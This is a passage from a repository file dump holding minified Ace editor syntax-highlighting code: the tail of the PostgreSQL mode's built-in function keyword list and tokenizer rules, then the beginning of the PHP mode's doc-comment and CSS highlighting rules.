ayconsistent|ginarrayextract|ginbeginscan|ginbuild|ginbuildempty|ginbulkdelete|gincostestimate|ginendscan|gingetbitmap|gininsert|ginmarkpos|ginoptions|ginqueryarrayextract|ginrescan|ginrestrpos|ginvacuumcleanup|gist_box_compress|gist_box_consistent|gist_box_decompress|gist_box_penalty|gist_box_picksplit|gist_box_same|gist_box_union|gist_circle_compress|gist_circle_consistent|gist_point_compress|gist_point_consistent|gist_point_distance|gist_poly_compress|gist_poly_consistent|gistbeginscan|gistbuild|gistbuildempty|gistbulkdelete|gistcostestimate|gistendscan|gistgetbitmap|gistgettuple|gistinsert|gistmarkpos|gistoptions|gistrescan|gistrestrpos|gistvacuumcleanup|gtsquery_compress|gtsquery_consistent|gtsquery_decompress|gtsquery_penalty|gtsquery_picksplit|gtsquery_same|gtsquery_union|gtsvector_compress|gtsvector_consistent|gtsvector_decompress|gtsvector_penalty|gtsvector_picksplit|gtsvector_same|gtsvector_union|gtsvectorin|gtsvectorout|has_any_column_privilege|has_column_privilege|has_database_privilege|has_foreign_data_wrapper_privilege|has_function_privilege|has_language_privilege|has_schema_privilege|has_sequence_privilege|has_server_privilege|has_table_privilege|has_tablespace_privilege|has_type_privilege|hash_aclitem|hash_array|hash_numeric|hash_range|hashbeginscan|hashbpchar|hashbuild|hashbuildempty|hashbulkdelete|hashchar|hashcostestimate|hashendscan|hashenum|hashfloat4|hashfloat8|hashgetbitmap|hashgettuple|hashinet|hashinsert|hashint2|hashint2vector|hashint4|hashint8|hashmacaddr|hashmarkpos|hashname|hashoid|hashoidvector|hashoptions|hashrescan|hashrestrpos|hashtext|hashvacuumcleanup|hashvarlena|height|host|hostmask|iclikejoinsel|iclikesel|icnlikejoinsel|icnlikesel|icregexeqjoinsel|icregexeqsel|icregexnejoinsel|icregexnesel|inet_client_addr|inet_client_port|inet_in|inet_out|inet_recv|inet_send|inet_server_addr|inet_server_port|inetand|inetmi|inetmi_int8|inetnot|inetor|inetpl|initcap|int2|int24div|int24eq|int24ge|int24gt|int24le|int24lt|int24mi|int24mul|int24ne|int24pl|int28div|int28eq|int28ge|int28gt|int28le|int28lt|int28mi|int28mul|int28ne|int28pl|int2_accum|int2_avg_accum|int2_mul_cash|int2_sum|int2abs|int2and|int2div|int2eq|int2ge|int2gt|int2in|int2larger|int2le|int2lt|int2mi|int2mod|int2mul|int2ne|int2not|int2or|int2out|int2pl|int2recv|int2send|int2shl|int2shr|int2smaller|int2um|int2up|int2vectoreq|int2vectorin|int2vectorout|int2vectorrecv|int2vectorsend|int2xor|int4|int42div|int42eq|int42ge|int42gt|int42le|int42lt|int42mi|int42mul|int42ne|int42pl|int48div|int48eq|int48ge|int48gt|int48le|int48lt|int48mi|int48mul|int48ne|int48pl|int4_accum|int4_avg_accum|int4_mul_cash|int4_sum|int4abs|int4and|int4div|int4eq|int4ge|int4gt|int4in|int4inc|int4larger|int4le|int4lt|int4mi|int4mod|int4mul|int4ne|int4not|int4or|int4out|int4pl|int4range|int4range_canonical|int4range_subdiff|int4recv|int4send|int4shl|int4shr|int4smaller|int4um|int4up|int4xor|int8|int82div|int82eq|int82ge|int82gt|int82le|int82lt|int82mi|int82mul|int82ne|int82pl|int84div|int84eq|int84ge|int84gt|int84le|int84lt|int84mi|int84mul|int84ne|int84pl|int8_accum|int8_avg|int8_avg_accum|int8_sum|int8abs|int8and|int8div|int8eq|int8ge|int8gt|int8in|int8inc|int8inc_any|int8inc_float8_float8|int8larger|int8le|int8lt|int8mi|int8mod|int8mul|int8ne|int8not|int8or|int8out|int8pl|int8pl_inet|int8range|int8range_canonical|int8range_subdiff|int8recv|int8send|int8shl|int8shr|int8smaller|int8um|int8up|int8xor|integer_pl_date|inter_lb|inter_sb|inter_sl|internal_in|internal_out|interval_accum|interval_avg|interval_cmp|interval_div|interval_eq|interval_ge|interval_gt|interval_hash|interval_in|interval_larger|interval_le|interval_lt|interval_mi|interval_mul|interval_ne|interval_out|interval_pl|interval_pl_date|interval_pl_time|interval_pl_timestamp|interval_pl_timestamptz|interval_pl_timetz|interval_recv|interval_send|interval_smaller|interval_transform|interval_um|intervaltypmodin|intervaltypmodout|intinterval|isclosed|isempty|isfinite|ishorizontal|iso8859_1_to_utf8|iso8859_to_utf8|iso_to_koi8r|iso_to_mic|iso_to_win1251|iso_to_win866|isopen|isparallel|isperp|isvertical|johab_to_utf8|json_agg|json_agg_finalfn|json_agg_transfn|json_array_element|json_array_element_text|json_array_elements|json_array_length|json_each|json_each_text|json_extract_path|json_extract_path_op|json_extract_path_text|json_extract_path_text_op|json_in|json_object_field|json_object_field_text|json_object_keys|json_out|json_populate_record|json_populate_recordset|json_recv|json_send|justify_days|justify_hours|justify_interval|koi8r_to_iso|koi8r_to_mic|koi8r_to_utf8|koi8r_to_win1251|koi8r_to_win866|koi8u_to_utf8|lag|language_handler_in|language_handler_out|last_value|lastval|latin1_to_mic|latin2_to_mic|latin2_to_win1250|latin3_to_mic|latin4_to_mic|lead|left|length|like|like_escape|likejoinsel|likesel|line|line_distance|line_eq|line_horizontal|line_in|line_interpt|line_intersect|line_out|line_parallel|line_perp|line_recv|line_send|line_vertical|ln|lo_close|lo_creat|lo_create|lo_export|lo_import|lo_lseek|lo_lseek64|lo_open|lo_tell|lo_tell64|lo_truncate|lo_truncate64|lo_unlink|log|loread|lower|lower_inc|lower_inf|lowrite|lpad|lseg|lseg_center|lseg_distance|lseg_eq|lseg_ge|lseg_gt|lseg_horizontal|lseg_in|lseg_interpt|lseg_intersect|lseg_le|lseg_length|lseg_lt|lseg_ne|lseg_out|lseg_parallel|lseg_perp|lseg_recv|lseg_send|lseg_vertical|ltrim|macaddr_and|macaddr_cmp|macaddr_eq|macaddr_ge|macaddr_gt|macaddr_in|macaddr_le|macaddr_lt|macaddr_ne|macaddr_not|macaddr_or|macaddr_out|macaddr_recv|macaddr_send|makeaclitem|masklen|max|md5|mic_to_ascii|mic_to_big5|mic_to_euc_cn|mic_to_euc_jp|mic_to_euc_kr|mic_to_euc_tw|mic_to_iso|mic_to_koi8r|mic_to_latin1|mic_to_latin2|mic_to_latin3|mic_to_latin4|mic_to_sjis|mic_to_win1250|mic_to_win1251|mic_to_win866|min|mktinterval|mod|money|mul_d_interval|name|nameeq|namege|namegt|nameiclike|nameicnlike|nameicregexeq|nameicregexne|namein|namele|namelike|namelt|namene|namenlike|nameout|namerecv|nameregexeq|nameregexne|namesend|neqjoinsel|neqsel|netmask|network|network_cmp|network_eq|network_ge|network_gt|network_le|network_lt|network_ne|network_sub|network_subeq|network_sup|network_supeq|nextval|nlikejoinsel|nlikesel|notlike|now|npoints|nth_value|ntile|numeric_abs|numeric_accum|numeric_add|numeric_avg|numeric_avg_accum|numeric_cmp|numeric_div|numeric_div_trunc|numeric_eq|numeric_exp|numeric_fac|numeric_ge|numeric_gt|numeric_in|numeric_inc|numeric_larger|numeric_le|numeric_ln|numeric_log|numeric_lt|numeric_mod|numeric_mul|numeric_ne|numeric_out|numeric_power|numeric_recv|numeric_send|numeric_smaller|numeric_sqrt|numeric_stddev_pop|numeric_stddev_samp|numeric_sub|numeric_transform|numeric_uminus|numeric_uplus|numeric_var_pop|numeric_var_samp|numerictypmodin|numerictypmodout|numnode|numrange|numrange_subdiff|obj_description|octet_length|oid|oideq|oidge|oidgt|oidin|oidlarger|oidle|oidlt|oidne|oidout|oidrecv|oidsend|oidsmaller|oidvectoreq|oidvectorge|oidvectorgt|oidvectorin|oidvectorle|oidvectorlt|oidvectorne|oidvectorout|oidvectorrecv|oidvectorsend|oidvectortypes|on_pb|on_pl|on_ppath|on_ps|on_sb|on_sl|opaque_in|opaque_out|overlaps|overlay|path|path_add|path_add_pt|path_center|path_contain_pt|path_distance|path_div_pt|path_in|path_inter|path_length|path_mul_pt|path_n_eq|path_n_ge|path_n_gt|path_n_le|path_n_lt|path_npoints|path_out|path_recv|path_send|path_sub_pt|pclose|percent_rank|pg_advisory_lock|pg_advisory_lock_shared|pg_advisory_unlock|pg_advisory_unlock_all|pg_advisory_unlock_shared|pg_advisory_xact_lock|pg_advisory_xact_lock_shared|pg_available_extension_versions|pg_available_extensions|pg_backend_pid|pg_backup_start_time|pg_cancel_backend|pg_char_to_encoding|pg_client_encoding|pg_collation_for|pg_collation_is_visible|pg_column_is_updatable|pg_column_size|pg_conf_load_time|pg_conversion_is_visible|pg_create_restore_point|pg_current_xlog_insert_location|pg_current_xlog_location|pg_cursor|pg_database_size|pg_describe_object|pg_encoding_max_length|pg_encoding_to_char|pg_event_trigger_dropped_objects|pg_export_snapshot|pg_extension_config_dump|pg_extension_update_paths|pg_function_is_visible|pg_get_constraintdef|pg_get_expr|pg_get_function_arguments|pg_get_function_identity_arguments|pg_get_function_result|pg_get_functiondef|pg_get_indexdef|pg_get_keywords|pg_get_multixact_members|pg_get_ruledef|pg_get_serial_sequence|pg_get_triggerdef|pg_get_userbyid|pg_get_viewdef|pg_has_role|pg_identify_object|pg_indexes_size|pg_is_in_backup|pg_is_in_recovery|pg_is_other_temp_schema|pg_is_xlog_replay_paused|pg_last_xact_replay_timestamp|pg_last_xlog_receive_location|pg_last_xlog_replay_location|pg_listening_channels|pg_lock_status|pg_ls_dir|pg_my_temp_schema|pg_node_tree_in|pg_node_tree_out|pg_node_tree_recv|pg_node_tree_send|pg_notify|pg_opclass_is_visible|pg_operator_is_visible|pg_opfamily_is_visible|pg_options_to_table|pg_postmaster_start_time|pg_prepared_statement|pg_prepared_xact|pg_read_binary_file|pg_read_file|pg_relation_filenode|pg_relation_filepath|pg_relation_is_updatable|pg_relation_size|pg_reload_conf|pg_rotate_logfile|pg_sequence_parameters|pg_show_all_settings|pg_size_pretty|pg_sleep|pg_start_backup|pg_stat_clear_snapshot|pg_stat_file|pg_stat_get_activity|pg_stat_get_analyze_count|pg_stat_get_autoanalyze_count|pg_stat_get_autovacuum_count|pg_stat_get_backend_activity|pg_stat_get_backend_activity_start|pg_stat_get_backend_client_addr|pg_stat_get_backend_client_port|pg_stat_get_backend_dbid|pg_stat_get_backend_idset|pg_stat_get_backend_pid|pg_stat_get_backend_start|pg_stat_get_backend_userid|pg_stat_get_backend_waiting|pg_stat_get_backend_xact_start|pg_stat_get_bgwriter_buf_written_checkpoints|pg_stat_get_bgwriter_buf_written_clean|pg_stat_get_bgwriter_maxwritten_clean|pg_stat_get_bgwriter_requested_checkpoints|pg_stat_get_bgwriter_stat_reset_time|pg_stat_get_bgwriter_timed_checkpoints|pg_stat_get_blocks_fetched|pg_stat_get_blocks_hit|pg_stat_get_buf_alloc|pg_stat_get_buf_fsync_backend|pg_stat_get_buf_written_backend|pg_stat_get_checkpoint_sync_time|pg_stat_get_checkpoint_write_time|pg_stat_get_db_blk_read_time|pg_stat_get_db_blk_write_time|pg_stat_get_db_blocks_fetched|pg_stat_get_db_blocks_hit|pg_stat_get_db_conflict_all|pg_stat_get_db_conflict_bufferpin|pg_stat_get_db_conflict_lock|pg_stat_get_db_conflict_snapshot|pg_stat_get_db_conflict_startup_deadlock|pg_stat_get_db_conflict_tablespace|pg_stat_get_db_deadlocks|pg_stat_get_db_numbackends|pg_stat_get_db_stat_reset_time|pg_stat_get_db_temp_bytes|pg_stat_get_db_temp_files|pg_stat_get_db_tuples_deleted|pg_stat_get_db_tuples_fetched|pg_stat_get_db_tuples_inserted|pg_stat_get_db_tuples_returned|pg_stat_get_db_tuples_updated|pg_stat_get_db_xact_commit|pg_stat_get_db_xact_rollback|pg_stat_get_dead_tuples|pg_stat_get_function_calls|pg_stat_get_function_self_time|pg_stat_get_function_total_time|pg_stat_get_last_analyze_time|pg_stat_get_last_autoanalyze_time|pg_stat_get_last_autovacuum_time|pg_stat_get_last_vacuum_time|pg_stat_get_live_tuples|pg_stat_get_numscans|pg_stat_get_tuples_deleted|pg_stat_get_tuples_fetched|pg_stat_get_tuples_hot_updated|pg_stat_get_tuples_inserted|pg_stat_get_tuples_returned|pg_stat_get_tuples_updated|pg_stat_get_vacuum_count|pg_stat_get_wal_senders|pg_stat_get_xact_blocks_fetched|pg_stat_get_xact_blocks_hit|pg_stat_get_xact_function_calls|pg_stat_get_xact_function_self_time|pg_stat_get_xact_function_total_time|pg_stat_get_xact_numscans|pg_stat_get_xact_tuples_deleted|pg_stat_get_xact_tuples_fetched|pg_stat_get_xact_tuples_hot_updated|pg_stat_get_xact_tuples_inserted|pg_stat_get_xact_tuples_returned|pg_stat_get_xact_tuples_updated|pg_stat_reset|pg_stat_reset_shared|pg_stat_reset_single_function_counters|pg_stat_reset_single_table_counters|pg_stop_backup|pg_switch_xlog|pg_table_is_visible|pg_table_size|pg_tablespace_databases|pg_tablespace_location|pg_tablespace_size|pg_terminate_backend|pg_timezone_abbrevs|pg_timezone_names|pg_total_relation_size|pg_trigger_depth|pg_try_advisory_lock|pg_try_advisory_lock_shared|pg_try_advisory_xact_lock|pg_try_advisory_xact_lock_shared|pg_ts_config_is_visible|pg_ts_dict_is_visible|pg_ts_parser_is_visible|pg_ts_template_is_visible|pg_type_is_visible|pg_typeof|pg_xlog_location_diff|pg_xlog_replay_pause|pg_xlog_replay_resume|pg_xlogfile_name|pg_xlogfile_name_offset|pi|plainto_tsquery|plpgsql_call_handler|plpgsql_inline_handler|plpgsql_validator|point|point_above|point_add|point_below|point_distance|point_div|point_eq|point_horiz|point_in|point_left|point_mul|point_ne|point_out|point_recv|point_right|point_send|point_sub|point_vert|poly_above|poly_below|poly_center|poly_contain|poly_contain_pt|poly_contained|poly_distance|poly_in|poly_left|poly_npoints|poly_out|poly_overabove|poly_overbelow|poly_overlap|poly_overleft|poly_overright|poly_recv|poly_right|poly_same|poly_send|polygon|popen|position|positionjoinsel|positionsel|postgresql_fdw_validator|pow|power|prsd_end|prsd_headline|prsd_lextype|prsd_nexttoken|prsd_start|pt_contained_circle|pt_contained_poly|query_to_xml|query_to_xml_and_xmlschema|query_to_xmlschema|querytree|quote_ident|quote_literal|quote_nullable|radians|radius|random|range_adjacent|range_after|range_before|range_cmp|range_contained_by|range_contains|range_contains_elem|range_eq|range_ge|range_gist_compress|range_gist_consistent|range_gist_decompress|range_gist_penalty|range_gist_picksplit|range_gist_same|range_gist_union|range_gt|range_in|range_intersect|range_le|range_lt|range_minus|range_ne|range_out|range_overlaps|range_overleft|range_overright|range_recv|range_send|range_typanalyze|range_union|rangesel|rank|record_eq|record_ge|record_gt|record_in|record_le|record_lt|record_ne|record_out|record_recv|record_send|regclass|regclassin|regclassout|regclassrecv|regclasssend|regconfigin|regconfigout|regconfigrecv|regconfigsend|regdictionaryin|regdictionaryout|regdictionaryrecv|regdictionarysend|regexeqjoinsel|regexeqsel|regexnejoinsel|regexnesel|regexp_matches|regexp_replace|regexp_split_to_array|regexp_split_to_table|regoperatorin|regoperatorout|regoperatorrecv|regoperatorsend|regoperin|regoperout|regoperrecv|regopersend|regprocedurein|regprocedureout|regprocedurerecv|regproceduresend|regprocin|regprocout|regprocrecv|regprocsend|regr_avgx|regr_avgy|regr_count|regr_intercept|regr_r2|regr_slope|regr_sxx|regr_sxy|regr_syy|regtypein|regtypeout|regtyperecv|regtypesend|reltime|reltimeeq|reltimege|reltimegt|reltimein|reltimele|reltimelt|reltimene|reltimeout|reltimerecv|reltimesend|repeat|replace|reverse|right|round|row_number|row_to_json|rpad|rtrim|scalargtjoinsel|scalargtsel|scalarltjoinsel|scalarltsel|schema_to_xml|schema_to_xml_and_xmlschema|schema_to_xmlschema|session_user|set_bit|set_byte|set_config|set_masklen|setseed|setval|setweight|shell_in|shell_out|shift_jis_2004_to_euc_jis_2004|shift_jis_2004_to_utf8|shobj_description|sign|similar_escape|sin|sjis_to_euc_jp|sjis_to_mic|sjis_to_utf8|slope|smgreq|smgrin|smgrne|smgrout|spg_kd_choose|spg_kd_config|spg_kd_inner_consistent|spg_kd_picksplit|spg_quad_choose|spg_quad_config|spg_quad_inner_consistent|spg_quad_leaf_consistent|spg_quad_picksplit|spg_range_quad_choose|spg_range_quad_config|spg_range_quad_inner_consistent|spg_range_quad_leaf_consistent|spg_range_quad_picksplit|spg_text_choose|spg_text_config|spg_text_inner_consistent|spg_text_leaf_consistent|spg_text_picksplit|spgbeginscan|spgbuild|spgbuildempty|spgbulkdelete|spgcanreturn|spgcostestimate|spgendscan|spggetbitmap|spggettuple|spginsert|spgmarkpos|spgoptions|spgrescan|spgrestrpos|spgvacuumcleanup|split_part|sqrt|statement_timestamp|stddev|stddev_pop|stddev_samp|string_agg|string_agg_finalfn|string_agg_transfn|string_to_array|strip|strpos|substr|substring|sum|suppress_redundant_updates_trigger|table_to_xml|table_to_xml_and_xmlschema|table_to_xmlschema|tan|text|text_ge|text_gt|text_larger|text_le|text_lt|text_pattern_ge|text_pattern_gt|text_pattern_le|text_pattern_lt|text_smaller|textanycat|textcat|texteq|texticlike|texticnlike|texticregexeq|texticregexne|textin|textlen|textlike|textne|textnlike|textout|textrecv|textregexeq|textregexne|textsend|thesaurus_init|thesaurus_lexize|tideq|tidge|tidgt|tidin|tidlarger|tidle|tidlt|tidne|tidout|tidrecv|tidsend|tidsmaller|time_cmp|time_eq|time_ge|time_gt|time_hash|time_in|time_larger|time_le|time_lt|time_mi_interval|time_mi_time|time_ne|time_out|time_pl_interval|time_recv|time_send|time_smaller|time_transform|timedate_pl|timemi|timenow|timeofday|timepl|timestamp_cmp|timestamp_cmp_date|timestamp_cmp_timestamptz|timestamp_eq|timestamp_eq_date|timestamp_eq_timestamptz|timestamp_ge|timestamp_ge_date|timestamp_ge_timestamptz|timestamp_gt|timestamp_gt_date|timestamp_gt_timestamptz|timestamp_hash|timestamp_in|timestamp_larger|timestamp_le|timestamp_le_date|timestamp_le_timestamptz|timestamp_lt|timestamp_lt_date|timestamp_lt_timestamptz|timestamp_mi|timestamp_mi_interval|timestamp_ne|timestamp_ne_date|timestamp_ne_timestamptz|timestamp_out|timestamp_pl_interval|timestamp_recv|timestamp_send|timestamp_smaller|timestamp_sortsupport|timestamp_transform|timestamptypmodin|timestamptypmodout|timestamptz_cmp|timestamptz_cmp_date|timestamptz_cmp_timestamp|timestamptz_eq|timestamptz_eq_date|timestamptz_eq_timestamp|timestamptz_ge|timestamptz_ge_date|timestamptz_ge_timestamp|timestamptz_gt|timestamptz_gt_date|timestamptz_gt_timestamp|timestamptz_in|timestamptz_larger|timestamptz_le|timestamptz_le_date|timestamptz_le_timestamp|timestamptz_lt|timestamptz_lt_date|timestamptz_lt_timestamp|timestamptz_mi|timestamptz_mi_interval|timestamptz_ne|timestamptz_ne_date|timestamptz_ne_timestamp|timestamptz_out|timestamptz_pl_interval|timestamptz_recv|timestamptz_send|timestamptz_smaller|timestamptztypmodin|timestamptztypmodout|timetypmodin|timetypmodout|timetz_cmp|timetz_eq|timetz_ge|timetz_gt|timetz_hash|timetz_in|timetz_larger|timetz_le|timetz_lt|timetz_mi_interval|timetz_ne|timetz_out|timetz_pl_interval|timetz_recv|timetz_send|timetz_smaller|timetzdate_pl|timetztypmodin|timetztypmodout|timezone|tinterval|tintervalct|tintervalend|tintervaleq|tintervalge|tintervalgt|tintervalin|tintervalle|tintervalleneq|tintervallenge|tintervallengt|tintervallenle|tintervallenlt|tintervallenne|tintervallt|tintervalne|tintervalout|tintervalov|tintervalrecv|tintervalrel|tintervalsame|tintervalsend|tintervalstart|to_ascii|to_char|to_date|to_hex|to_json|to_number|to_timestamp|to_tsquery|to_tsvector|transaction_timestamp|translate|trigger_in|trigger_out|trunc|ts_debug|ts_headline|ts_lexize|ts_match_qv|ts_match_tq|ts_match_tt|ts_match_vq|ts_parse|ts_rank|ts_rank_cd|ts_rewrite|ts_stat|ts_token_type|ts_typanalyze|tsmatchjoinsel|tsmatchsel|tsq_mcontained|tsq_mcontains|tsquery_and|tsquery_cmp|tsquery_eq|tsquery_ge|tsquery_gt|tsquery_le|tsquery_lt|tsquery_ne|tsquery_not|tsquery_or|tsqueryin|tsqueryout|tsqueryrecv|tsquerysend|tsrange|tsrange_subdiff|tstzrange|tstzrange_subdiff|tsvector_cmp|tsvector_concat|tsvector_eq|tsvector_ge|tsvector_gt|tsvector_le|tsvector_lt|tsvector_ne|tsvector_update_trigger|tsvector_update_trigger_column|tsvectorin|tsvectorout|tsvectorrecv|tsvectorsend|txid_current|txid_current_snapshot|txid_snapshot_in|txid_snapshot_out|txid_snapshot_recv|txid_snapshot_send|txid_snapshot_xip|txid_snapshot_xmax|txid_snapshot_xmin|txid_visible_in_snapshot|uhc_to_utf8|unique_key_recheck|unknownin|unknownout|unknownrecv|unknownsend|unnest|upper|upper_inc|upper_inf|utf8_to_ascii|utf8_to_big5|utf8_to_euc_cn|utf8_to_euc_jis_2004|utf8_to_euc_jp|utf8_to_euc_kr|utf8_to_euc_tw|utf8_to_gb18030|utf8_to_gbk|utf8_to_iso8859|utf8_to_iso8859_1|utf8_to_johab|utf8_to_koi8r|utf8_to_koi8u|utf8_to_shift_jis_2004|utf8_to_sjis|utf8_to_uhc|utf8_to_win|uuid_cmp|uuid_eq|uuid_ge|uuid_gt|uuid_hash|uuid_in|uuid_le|uuid_lt|uuid_ne|uuid_out|uuid_recv|uuid_send|var_pop|var_samp|varbit_in|varbit_out|varbit_recv|varbit_send|varbit_transform|varbitcmp|varbiteq|varbitge|varbitgt|varbitle|varbitlt|varbitne|varbittypmodin|varbittypmodout|varchar_transform|varcharin|varcharout|varcharrecv|varcharsend|varchartypmodin|varchartypmodout|variance|version|void_in|void_out|void_recv|void_send|width|width_bucket|win1250_to_latin2|win1250_to_mic|win1251_to_iso|win1251_to_koi8r|win1251_to_mic|win1251_to_win866|win866_to_iso|win866_to_koi8r|win866_to_mic|win866_to_win1251|win_to_utf8|xideq|xideqint4|xidin|xidout|xidrecv|xidsend|xml|xml_in|xml_is_well_formed|xml_is_well_formed_content|xml_is_well_formed_document|xml_out|xml_recv|xml_send|xmlagg|xmlcomment|xmlconcat2|xmlexists|xmlvalidate|xpath|xpath_exists\",n=this.createKeywordMapper({\"support.function\":t,keyword:e},\"identifier\",!0),r=[{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"variable.language\",regex:'\".*?\"'},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:n,regex:\"[a-zA-Z_][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|!!|!~|!~\\\\*|!~~|!~~\\\\*|#|##|#<|#<=|#<>|#=|#>|#>=|%|\\\\&|\\\\&\\\\&|\\\\&<|\\\\&<\\\\||\\\\&>|\\\\*|\\\\+|\\\\-|/|<|<#>|<\\\\->|<<|<<=|<<\\\\||<=|<>|<\\\\?>|<@|<\\\\^|=|>|>=|>>|>>=|>\\\\^|\\\\?#|\\\\?\\\\-|\\\\?\\\\-\\\\||\\\\?\\\\||\\\\?\\\\|\\\\||@|@\\\\-@|@>|@@|@@@|\\\\^|\\\\||\\\\|\\\\&>|\\\\|/|\\\\|>>|\\\\|\\\\||\\\\|\\\\|/|~|~\\\\*|~<=~|~<~|~=|~>=~|~>~|~~|~~\\\\*\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}];this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},s.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"keyword.statementBegin\",regex:\"^[a-zA-Z]+\",next:\"statement\"},{token:\"support.buildin\",regex:\"^\\\\\\\\[\\\\S]+.*$\"}],statement:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"commentStatement\"},{token:\"statementEnd\",regex:\";\",next:\"start\"},{token:\"string\",regex:\"\\\\$perl\\\\$\",next:\"perl-start\"},{token:\"string\",regex:\"\\\\$python\\\\$\",next:\"python-start\"},{token:\"string\",regex:\"\\\\$json\\\\$\",next:\"json-start\"},{token:\"string\",regex:\"\\\\$(js|javascript)\\\\$\",next:\"javascript-start\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$$\",next:\"dollarSql\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarStatementString\"}].concat(r),dollarSql:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"commentDollarSql\"},{token:\"string\",regex:\"^\\\\$[\\\\w_0-9]*\\\\$\",next:\"statement\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarSqlString\"}].concat(r),comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],commentStatement:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"statement\"},{token:\"comment\",regex:\".+\"}],commentDollarSql:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"dollarSql\"},{token:\"comment\",regex:\".+\"}],dollarStatementString:[{token:\"string\",regex:\".*?\\\\$[\\\\w_0-9]*\\\\$\",next:\"statement\"},{token:\"string\",regex:\".+\"}],dollarSqlString:[{token:\"string\",regex:\".*?\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarSql\"},{token:\"string\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")]),this.embedRules(u,\"perl-\",[{token:\"string\",regex:\"\\\\$perl\\\\$\",next:\"statement\"}]),this.embedRules(a,\"python-\",[{token:\"string\",regex:\"\\\\$python\\\\$\",next:\"statement\"}]),this.embedRules(f,\"json-\",[{token:\"string\",regex:\"\\\\$json\\\\$\",next:\"statement\"}]),this.embedRules(l,\"javascript-\",[{token:\"string\",regex:\"\\\\$(js|javascript)\\\\$\",next:\"statement\"}])};r.inherits(c,o),t.PgsqlHighlightRules=c}),define(\"ace/mode/pgsql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/pgsql_highlight_rules\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../mode/text\").Mode,s=e(\"./pgsql_highlight_rules\").PgsqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){return e==\"start\"||e==\"keyword.statementEnd\"?\"\":this.$getIndent(t)},this.$id=\"ace/mode/pgsql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-php.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-